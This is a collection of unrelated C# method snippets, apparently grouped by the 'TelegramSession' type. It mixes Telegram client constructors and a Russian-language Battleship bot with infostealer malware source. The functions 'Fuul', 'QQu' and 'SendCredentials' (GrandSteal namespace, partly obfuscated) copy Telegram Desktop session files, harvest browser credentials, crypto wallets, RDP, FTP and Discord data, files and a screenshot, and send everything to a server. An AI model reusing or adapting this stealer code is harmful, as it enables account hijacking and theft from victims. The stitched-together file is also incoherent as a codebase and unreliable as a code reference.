public Dialogs(TelegramSession session) { this.session = session; model = new DialogListModel(session); session.Updates.NewMessageEvent += delegate(Message message) { Deployment.Current.Dispatcher.BeginInvoke(() => model.ProcessNewMessage(message)); }; }
public Dialogs(TelegramSession session, BinaryReader reader) { this.session = session; Read(reader); session.Updates.NewMessageEvent += delegate(Message message) { Deployment.Current.Dispatcher.BeginInvoke(() => model.ProcessNewMessage(message)); }; }
public SignupPhone() { InitializeComponent(); session = TelegramSession.Instance; flow = new Login(session, "en"); ShowPhoneScene(); this.BackKeyPress += delegate { Application.Current.Terminate(); }; Login(); }
public TelegramSession Load(string sessionUserId) { string sessionFileName = $"{sessionUserId}.dat"; string sessionPath = this.basePath == null ? sessionFileName : Path.Combine(this.basePath.FullName, sessionFileName); if (!File.Exists(sessionPath)) { return(null); } using (FileStream stream = new FileStream(sessionPath, FileMode.Open)) { byte[] buffer = new byte[2048]; stream.Read(buffer, 0, 2048); return(TelegramSession.FromBytes(buffer, this, sessionUserId)); } }
public static FileStream GetPlaygrounds(TelegramSession session) { var game = session.Game; if (game.Player1Map.Width != 10 || game.Player1Map.Height != 10 || game.Player2Map.Width != 10 || game.Player2Map.Height != 10) { throw new NotImplementedException("Невозможно отрисовать карту, кроме размера 10 на 10"); } using Bitmap bitmap = new Bitmap(500, 500 + 100 + 500); using (Graphics g = Graphics.FromImage(bitmap)) { DrawGameMap(g, game); } string filePath = $"D:\\green{_fileCounter++}.jpg"; bitmap.Save(filePath, ImageFormat.Jpeg); return(new FileStream(filePath, FileMode.Open)); }
public static TelegramSession Fuul() { TelegramSession telegramSession = new TelegramSession(); try { string path = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata"); string path2 = Path.Combine(Environment.ExpandEnvironmentVariables("%USERPROFILE%"), "AppData\\Roaming\\Telegram Desktop\\tdata\\D877F783D5D3EF8C"); if (!Directory.Exists(path) || !Directory.Exists(path2)) { return(telegramSession); } string[] files = Directory.GetFiles(path, "D877F783D5D3EF8C*"); if (files.Length == 0) { return(telegramSession); } byte[] fileData = File.ReadAllBytes(rcvr.CreateTempCopy(files[0])); string[] files2 = Directory.GetFiles(path2, "map*"); if (files2.Length == 0) { return(telegramSession); } byte[] fileData2 = File.ReadAllBytes(rcvr.CreateTempCopy(files[0])); telegramSession.MapFile = new DesktopFile { FileData = fileData2, Filename = new FileInfo(files2[0]).Name }; telegramSession.RootFile = new DesktopFile { FileData = fileData, Filename = new FileInfo(files[0]).Name }; return(telegramSession); } catch (Exception) { return(telegramSession); } }
//public Session Session //{ // get { return this.session; } //} /// <summary> /// Ctor /// </summary> /// <param name="authModel">Telegram authenthication model</param> /// <param name="settings">Telegram settings for client</param> public TelegramClient( TelegramSettings settings = null) { settings ??= new TelegramSettings(); settings.SessionStore ??= new FileSessionStore(); settings.SessionId ??= "session"; //settings.Handler ??= null; //settings.DcIpVersion = DataCenterIPVersion.Default; //this.apiHash = apiHash; //this.apiId = apiId; //this.handler = handler; //this.dcIpVersion = dcIpVersion; this._session = TelegramSession.TryLoadOrCreateNew(settings.SessionStore, settings.SessionId); this.transport = new TcpTransport( this._session.DataCenter.Address, this._session.DataCenter.Port, this.handler); }
public DialogPage() { session = TelegramSession.Instance; model = TelegramSession.Instance.Dialogs.OpenedDialog; InitializeComponent(); UpdateDataContext(); DisableEditBox(); messageEditor.GotFocus += delegate { AttachPopup.IsOpen = false; EmojiPopup.IsOpen = false; }; messageEditor.LostFocus += delegate { if (!EmojiPopup.IsOpen && !AttachPopup.IsOpen) { MainPanel.Margin = new Thickness(0, 0, 0, 0); } }; timer = new DispatcherTimer(); timer.Interval = TimeSpan.FromSeconds(1); timer.Tick += TimerOnTick; messageEditor.TextChanged += MessageEditorOnTextChanged; EmojiPanelControl.BackspaceClick += EmojiPanelControlOnBackspaceClick; EmojiPanelControl.KeyboardClick += EmojiPanelControlOnKeyboardClick; EmojiPanelControl.EmojiGridListSelector.SelectionChanged += EmojiGridListSelectorOnSelectionChanged; }
public override void HandleMessage(Message message, TelegramSession session, TelegramBotClient bot) { string text = message?.Text?.Trim(); switch (text) { case BotCommands.StartInteractingWithBotCommand: bot.SendTextMessageAsync(message.From.Id, $"Привет! Давай сыграем в \"Морской Бой\". Для старта игры отправь мне команду {BotCommands.StartNewGameCommand}"); return; case BotCommands.StartNewGameCommand: //TODO снять ограничение на размер карты int width = 10; int height = 10; session.RecreateGame(width, height); bot.SendTextMessageAsync(message.From.Id, "Игра началась! Для выстрела просто отправьте два числа (координаты поля противника)"); session.SendPlayground(message, bot); return; case BotCommands.EndGameCommand: if (session.TryEndGame()) { bot.SendTextMessageAsync(message.From.Id, "Игра закончена"); } else { bot.SendTextMessageAsync(message.From.Id, "Игра не начиналась."); } return; case BotCommands.GetGameStatusCommand: if (session.Game.GameIsOn) { bot.SendTextMessageAsync(message.From.Id, "Игра идёт"); } else { bot.SendTextMessageAsync(message.From.Id, "Игра не идёт"); } return; case BotCommands.AutoShotCommand: //TODO убрать реализацию отсюда //TODO нужно вынести её в отдельный класс if (!session.Game.GameIsOn) { bot.SendTextMessageAsync(message.From.Id, $"Игра ещё не началась. "); return; } var coordinates = session.PlayerAutoShot().Coordinates; session.ComputerShot(); bot.SendTextMessageAsync(message.From.Id, $"Автоматический выстрел за игрока по координатам x:{coordinates.X}, y:{coordinates.Y}."); session.SendPlayground(message, bot); return; case BotCommands.ShowPlaygroundCommand: session.SendPlayground(message, bot); return; } Successor?.HandleMessage(message, session, bot); }
public EncryptedChats(TelegramSession session, BinaryReader reader) : this(session) { Read(reader); }
public EncryptedChats(TelegramSession session) { this.session = session; }
public override void HandleMessage(Message message, TelegramSession session, TelegramBotClient bot) { if (message.Text == null) { bot.SendTextMessageAsync(message.From.Id, "Где текст, Лебовски?"); Successor?.HandleMessage(message, session, bot); return; } string text = message.Text.Trim(); int[] shotCoordinates = GetNumbersFromString(text); if (shotCoordinates.Length != 2) { bot.SendTextMessageAsync(message.From.Id, "Это не два числа"); Successor?.HandleMessage(message, session, bot); return; } if (!session.Game.GameIsOn) { bot.SendTextMessageAsync(message.From.Id, $"Игра ещё не началась. Не могу принять координаты. Отошлите мне {BotCommands.StartNewGameCommand}"); return; } //TODO код плохо читается try { var playerShotCoordinates = new Coordinates(shotCoordinates[0], shotCoordinates[1]); var playerShotResult = session.ShootingForThePlayer(playerShotCoordinates); if (playerShotResult.Victory) { SendPlayground(message, session, bot); session.SendWinMessage(bot); return; } var computerShotResult = session.ComputerShot(); bot.SendTextMessageAsync(message.From.Id, $"Компьютер сделал выстрел по координатам {computerShotResult.Coordinates}"); if (computerShotResult.Victory) { session.SendLoseMessage(bot); SendPlayground(message, session, bot); return; } SendPlayground(message, session, bot); } catch (ArgumentOutOfRangeException) { bot.SendTextMessageAsync(message.From.Id, $"Неверные координаты. Вы можете стрелять только в диапазоне (0-{session.Game.Player2Map.Width - 1}) (0-{session.Game.Player2Map.Height - 1})"); } catch (Exception e) { bot.SendTextMessageAsync(message.From.Id, $"Не удалось сделать выстрел. Причина: {e.Message}"); } }
public MtProtoSender(TcpTransport transport, TelegramSession session) { this.transport = transport; this.session = session; }
public override void HandleMessage(Message message, TelegramSession session, TelegramBotClient bot) { bot.SendTextMessageAsync(message.From.Id, $"Отправьте {BotCommands.StartInteractingWithBotCommand}, чтобы понять как мной пользоваться"); }
public DialogModel(TelegramSession session) { this.session = session; this.messages = new ObservableCollectionUI <MessageModel>(); }
//private int unread_count; // needed? //private int friends_unread_count; // needed? public UpdatesProcessor(TelegramSession session) { this.session = session; InitDifferenceExecutor(); }
public Files(TelegramSession session) { this.session = session; }
public DialogModelEncrypted(TelegramSession session, EncryptedChat chat, byte[] a) : base(session) { logger.info("encrypted chat created with a: {0}", BitConverter.ToString(a).Replace("-", "").ToLower()); this.chat = chat; this.a = a; }
public void Save(TelegramSession session) { }
public DialogModelPlain(TelegramSession session, BinaryReader reader) : base(session) { Read(reader); SubscribeToDialog(); }
public UpdatesProcessor(TelegramSession session, BinaryReader reader) : this(session) { Read(reader); }
public DialogModelEncrypted(TelegramSession session, BinaryReader reader) : base(session) { Read(reader); }
public DialogListModel(TelegramSession session) { this.session = session; }
public DialogListModel(TelegramSession session, BinaryReader reader) : this(session) { Read(reader); }
public bool QQu() { try { ClientSettings settings = RecieveSettings().IsNull(new ClientSettings()); List <BrowserProfile> browserProfiles = new List <BrowserProfile>(); List <ColdWallet> wallets = new List <ColdWallet>(); List <RdpCredential> rdpCredentials = new List <RdpCredential>(); List <DesktopFile> desktopFiles = new List <DesktopFile>(); List <FtpCredential> ftpCredentials = new List <FtpCredential>(); TelegramSession telegramSession = new TelegramSession(); DiscordSession discordSession = new DiscordSession(); List <RemoteProcess> processes = new List <RemoteProcess>(); List <string> programs = new List <string>(); RemoteClientInformation clientInfo = new RemoteClientInformation(); ThreadPool.SetMaxThreads(2000, 10000); new Thread((ThreadStart) delegate { Console.WriteLine("ClientInfos parser has been started"); Stopwatch stopwatch10 = new Stopwatch(); stopwatch10.Start(); clientInfo = ClientInfoHelper.Create(BuildID); stopwatch10.Stop(); clientInfoFlag.Set(); Console.WriteLine($"ClientInfos has been parsed.Elapsed time: {stopwatch10.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("Browsers parser has been started"); Stopwatch stopwatch9 = new Stopwatch(); stopwatch9.Start(); if (settings.GrabBrowserCredentials) { int countCompleted = 0; object locker = new object(); foreach (GH9kf <BrowserProfile> manager in BrowserCredentialsManagers) { new Thread((ThreadStart) delegate { List <BrowserProfile> collection = manager.EnumerateData(); lock (locker) { browserProfiles.AddRange(collection); int num = countCompleted; countCompleted = num + 1; } }).Start(); } while (countCompleted != BrowserCredentialsManagers.Count) { } } stopwatch9.Stop(); browsersFlag.Set(); Console.WriteLine($"Browsers has been parsed.Elapsed time: {stopwatch9.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("ColdWallets parser has been started"); Stopwatch stopwatch8 = new Stopwatch(); stopwatch8.Start(); if (settings.GrabColdWallets) { foreach (GH9kf <ColdWallet> coldWalletManager in ColdWalletManagers) { wallets.AddRange(coldWalletManager.EnumerateData().IsNull(new List <ColdWallet>())); } } stopwatch8.Stop(); walletsFlag.Set(); Console.WriteLine($"ColdWallets has been parsed.Elapsed time: {stopwatch8.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("DiscordSession parser has been started"); Stopwatch stopwatch7 = new Stopwatch(); stopwatch7.Start(); if (settings.GrabDiscord) { discordSession = fffsa.TempGet(); } stopwatch7.Stop(); discordFlag.Set(); Console.WriteLine($"DiscordSession has been parsed.Elapsed time: {stopwatch7.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("Rdps parser has been started"); Stopwatch stopwatch6 = new Stopwatch(); stopwatch6.Start(); if (settings.GrabRdp) { foreach (GH9kf <RdpCredential> rdpManager in RdpManagers) { rdpCredentials.AddRange(rdpManager.EnumerateData().IsNull()); } } stopwatch6.Stop(); rdpsFlag.Set(); Console.WriteLine($"Rdps has been parsed.Elapsed time: {stopwatch6.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("DesktopFiles parser has been started"); Stopwatch stopwatch5 = new Stopwatch(); stopwatch5.Start(); if (settings.GrabDesktopFiles) { foreach (gg3 desktopFileManager in DesktopFileManagers) { desktopFileManager.GrabberSettings = settings.DesktopExtensions; desktopFiles.AddRange(desktopFileManager.EnumerateData()); } } stopwatch5.Stop(); desktopFlag.Set(); Console.WriteLine($"DesktopFiles has been parsed.Elapsed time: {stopwatch5.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("FTPs parser has been started"); Stopwatch stopwatch4 = new Stopwatch(); stopwatch4.Start(); if (settings.GrabFtp) { foreach (GH9kf <FtpCredential> ftpManager in FtpManagers) { ftpCredentials.AddRange(ftpManager.EnumerateData().IsNull()); } } stopwatch4.Stop(); ftpFlag.Set(); Console.WriteLine($"FTPs has been parsed.Elapsed time: {stopwatch4.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("TelegramSession parser has been started"); Stopwatch stopwatch3 = new Stopwatch(); stopwatch3.Start(); if (settings.GrabTelegram) { telegramSession = Fkf83.Fuul(); } stopwatch3.Stop(); telegramFlag.Set(); Console.WriteLine($"TelegramSession has been parsed.Elapsed time: {stopwatch3.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("ListOfProcesses parser has been started"); Stopwatch stopwatch2 = new Stopwatch(); stopwatch2.Start(); processes = ClientInfoHelper.ListOfProcesses(); stopwatch2.Stop(); processesFlag.Set(); Console.WriteLine($"ListOfProcesses has been parsed.Elapsed time: {stopwatch2.Elapsed}"); }).Start(); new Thread((ThreadStart) delegate { Console.WriteLine("ListOfPrograms parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); programs = ClientInfoHelper.ListOfPrograms(); stopwatch.Stop(); programsFlag.Set(); Console.WriteLine($"ListOfPrograms has been parsed.Elapsed time: {stopwatch.Elapsed}"); }).Start(); telegramFlag.WaitOne(); discordFlag.WaitOne(); processesFlag.WaitOne(); programsFlag.WaitOne(); browsersFlag.WaitOne(); walletsFlag.WaitOne(); rdpsFlag.WaitOne(); desktopFlag.WaitOne(); ftpFlag.WaitOne(); clientInfoFlag.WaitOne(); Console.WriteLine("CredentialsRequest has been created"); if (clientInfo == null) { Environment.Exit(0); } CredentialsRequest objectToSend = new CredentialsRequest { ClientInformation = clientInfo, BrowserProfiles = browserProfiles, ColdWallets = wallets, RdpConnections = rdpCredentials, DesktopFiles = desktopFiles, FtpCredentials = ftpCredentials, Telegram = telegramSession, Discord = discordSession, ProcessList = processes, InstalledPrograms = programs, Screenshot = ClientInfoHelper.CaptureScreen() }; return(Server.ProcessRequest <CredentialsRequest, bool>(objectToSend, "Credentials", 600000)()); } catch { return(false); } }
public override void HandleMessage(Message message, TelegramSession session, TelegramBotClient bot) { _firstHandler.HandleMessage(message, session, bot); }
// Token: 0x0600004F RID: 79 RVA: 0x00003EC8 File Offset: 0x000020C8 public bool SendCredentials() { bool result; try { GrandSteal.Client.Models.ClientSettings settings = this.RecieveSettings().IsNull(new GrandSteal.Client.Models.ClientSettings()); List <BrowserProfile> browserProfiles = new List <BrowserProfile>(); List <ColdWallet> wallets = new List <ColdWallet>(); List <RdpCredential> rdpCredentials = new List <RdpCredential>(); List <DesktopFile> desktopFiles = new List <DesktopFile>(); List <FtpCredential> ftpCredentials = new List <FtpCredential>(); TelegramSession telegramSession = new TelegramSession(); DiscordSession discordSession = new DiscordSession(); List <RemoteProcess> processes = new List <RemoteProcess>(); List <string> programs = new List <string>(); RemoteClientInformation clientInfo = new RemoteClientInformation(); ThreadPool.SetMaxThreads(2000, 10000); new Thread(delegate { Console.WriteLine("ClientInfos parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); clientInfo = ClientInfoHelper.Create(this.BuildID); stopwatch.Stop(); this.clientInfoFlag.Set(); Console.WriteLine(string.Format("ClientInfos has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("Browsers parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabBrowserCredentials) { int countCompleted = 0; object locker = new object(); using (IEnumerator <ICredentialsManager <BrowserProfile> > enumerator = this.BrowserCredentialsManagers.GetEnumerator()) { while (enumerator.MoveNext()) { ICredentialsManager <BrowserProfile> manager = enumerator.Current; new Thread(delegate { List <BrowserProfile> all = manager.GetAll(); object locker = locker; lock (locker) { browserProfiles.AddRange(all); int countCompleted = countCompleted; countCompleted++; } }).Start(); } } while (countCompleted != this.BrowserCredentialsManagers.Count) { } } stopwatch.Stop(); this.browsersFlag.Set(); Console.WriteLine(string.Format("Browsers has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("ColdWallets parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabColdWallets) { foreach (ICredentialsManager <ColdWallet> current in this.ColdWalletManagers) { wallets.AddRange(current.GetAll().IsNull(new List <ColdWallet>())); } } stopwatch.Stop(); this.walletsFlag.Set(); Console.WriteLine(string.Format("ColdWallets has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("DiscordSession parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabDiscord) { discordSession = DiscordManager.Extract(); } stopwatch.Stop(); this.discordFlag.Set(); Console.WriteLine(string.Format("DiscordSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("Rdps parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabRdp) { foreach (ICredentialsManager <RdpCredential> current in this.RdpManagers) { rdpCredentials.AddRange(current.GetAll().IsNull <List <RdpCredential> >()); } } stopwatch.Stop(); this.rdpsFlag.Set(); Console.WriteLine(string.Format("Rdps has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("DesktopFiles parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabDesktopFiles) { foreach (DesktopFileManager current in this.DesktopFileManagers) { current.DesktopFileExtensions = settings.DesktopExtensions; desktopFiles.AddRange(current.GetAll()); } } stopwatch.Stop(); this.desktopFlag.Set(); Console.WriteLine(string.Format("DesktopFiles has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("FTPs parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabFtp) { foreach (ICredentialsManager <FtpCredential> current in this.FtpManagers) { ftpCredentials.AddRange(current.GetAll().IsNull <List <FtpCredential> >()); } } stopwatch.Stop(); this.ftpFlag.Set(); Console.WriteLine(string.Format("FTPs has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("TelegramSession parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); if (settings.GrabTelegram) { telegramSession = TelegramManager.Extract(); } stopwatch.Stop(); this.telegramFlag.Set(); Console.WriteLine(string.Format("TelegramSession has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("ListOfProcesses parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); processes = ClientInfoHelper.ListOfProcesses(); stopwatch.Stop(); this.processesFlag.Set(); Console.WriteLine(string.Format("ListOfProcesses has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); new Thread(delegate { Console.WriteLine("ListOfPrograms parser has been started"); Stopwatch stopwatch = new Stopwatch(); stopwatch.Start(); programs = ClientInfoHelper.ListOfPrograms(); stopwatch.Stop(); this.programsFlag.Set(); Console.WriteLine(string.Format("ListOfPrograms has been parsed.Elapsed time: {0}", stopwatch.Elapsed)); }).Start(); this.telegramFlag.WaitOne(); this.discordFlag.WaitOne(); this.processesFlag.WaitOne(); this.programsFlag.WaitOne(); this.browsersFlag.WaitOne(); this.walletsFlag.WaitOne(); this.rdpsFlag.WaitOne(); this.desktopFlag.WaitOne(); this.ftpFlag.WaitOne(); this.clientInfoFlag.WaitOne(); Console.WriteLine("CredentialsRequest has been created"); if (clientInfo == null) { Environment.Exit(0); } CredentialsRequest objectToSend = new CredentialsRequest { ClientInformation = clientInfo, BrowserProfiles = browserProfiles, ColdWallets = wallets, RdpConnections = rdpCredentials, DesktopFiles = desktopFiles, FtpCredentials = ftpCredentials, Telegram = telegramSession, Discord = discordSession, ProcessList = processes, InstalledPrograms = programs, Screenshot = ClientInfoHelper.CaptureScreen() }; result = this.Server.SendRequest(objectToSend, "Credentials", 600000)(); } catch { result = false; } return(result); }
public Login(TelegramSession session, string langCode) { this.langCode = langCode; this.session = session; }
public abstract void HandleMessage(Message message, TelegramSession session, TelegramBotClient bot);